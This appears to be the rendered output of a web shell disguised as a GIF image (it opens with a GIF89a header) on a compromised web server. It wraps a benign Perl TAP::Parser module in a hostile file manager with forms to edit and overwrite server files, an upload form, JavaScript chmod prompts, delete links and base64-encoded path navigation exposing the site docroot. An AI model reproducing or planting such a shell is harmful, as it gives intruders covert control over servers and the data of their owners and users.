GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>Array.pm<form method=post action="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVAvUGFyc2VyL0l0ZXJhdG9y&f=QXJyYXkucG0%3D"><input name="f" value="Array.pm"><textarea name="t">package TAP::Parser::Iterator::Array;

use strict;
use warnings;

use base 'TAP::Parser::Iterator';

=head1 NAME

TAP::Parser::Iterator::Array - Iterator for array-based TAP sources

=head1 VERSION

Version 3.44

=cut

our $VERSION = '3.44';

=head1 SYNOPSIS

  use TAP::Parser::Iterator::Array;
  my @data = ('foo', 'bar', baz');
  my $it   = TAP::Parser::Iterator::Array-&gt;new(\@data);
  my $line = $it-&gt;next;

=head1 DESCRIPTION

This is a simple iterator wrapper for arrays of scalar content, used by
L&lt;TAP::Parser&gt;.  Unless you're writing a plugin or subclassing, you probably
won't need to use this module directly.

=head1 METHODS

=head2 Class Methods

=head3 C&lt;new&gt;

Create an iterator.  Takes one argument: an C&lt;$array_ref&gt;

=head2 Instance Methods

=head3 C&lt;next&gt;

Iterate through it, of course.

=head3 C&lt;next_raw&gt;

Iterate raw input without applying any fixes for quirky input syntax.

=head3 C&lt;wait&gt;

Get the wait status for this iterator. For an array iterator this will always
be zero.

=head3 C&lt;exit&gt;

Get the exit status for this iterator. For an array iterator this will always
be zero.

=cut

# new() implementation supplied by TAP::Object

sub _initialize {
    my ( $self, $thing ) = @_;
    chomp @$thing;
    $self-&gt;{idx}   = 0;
    $self-&gt;{array} = $thing;
    $self-&gt;{exit}  = undef;
    return $self;
}

sub wait { shift-&gt;exit }

sub exit {
    my $self = shift;
    return 0 if $self-&gt;{idx} &gt;= @{ $self-&gt;{array} };
    return;
}

sub next_raw {
    my $self = shift;
    return $self-&gt;{array}-&gt;[ $self-&gt;{idx}++ ];
}

1;

=head1 ATTRIBUTION

Originally ripped off from L&lt;Test::Harness&gt;.

=head1 SEE ALSO

L&lt;TAP::Object&gt;,
L&lt;TAP::Parser&gt;,
L&lt;TAP::Parser::Iterator&gt;,

=cut

</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/perl/5.38.2/TAP/Parser/Iterator<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVAvUGFyc2VyL0l0ZXJhdG9y"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVAvUGFyc2VyL0l0ZXJhdG9y&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVAvUGFyc2Vy"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVAvUGFyc2VyL0l0ZXJhdG9y&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVAvUGFyc2VyL0l0ZXJhdG9y&x=QXJyYXkucG0=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVAvUGFyc2VyL0l0ZXJhdG9y&f=QXJyYXkucG0="/>Array.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVAvUGFyc2VyL0l0ZXJhdG9y&f=QXJyYXkucG0=&c=`+btoa(c):0" value="0644"></td><td>1696</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVAvUGFyc2VyL0l0ZXJhdG9y&x=UHJvY2Vzcy5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVAvUGFyc2VyL0l0ZXJhdG9y&f=UHJvY2Vzcy5wbQ=="/>Process.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVAvUGFyc2VyL0l0ZXJhdG9y&f=UHJvY2Vzcy5wbQ==&c=`+btoa(c):0" value="0644"></td><td>9116</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVAvUGFyc2VyL0l0ZXJhdG9y&x=U3RyZWFtLnBt">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVAvUGFyc2VyL0l0ZXJhdG9y&f=U3RyZWFtLnBt"/>Stream.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVAvUGFyc2VyL0l0ZXJhdG9y&f=U3RyZWFtLnBt&c=`+btoa(c):0" value="0644"></td><td>1925</td></tr></table>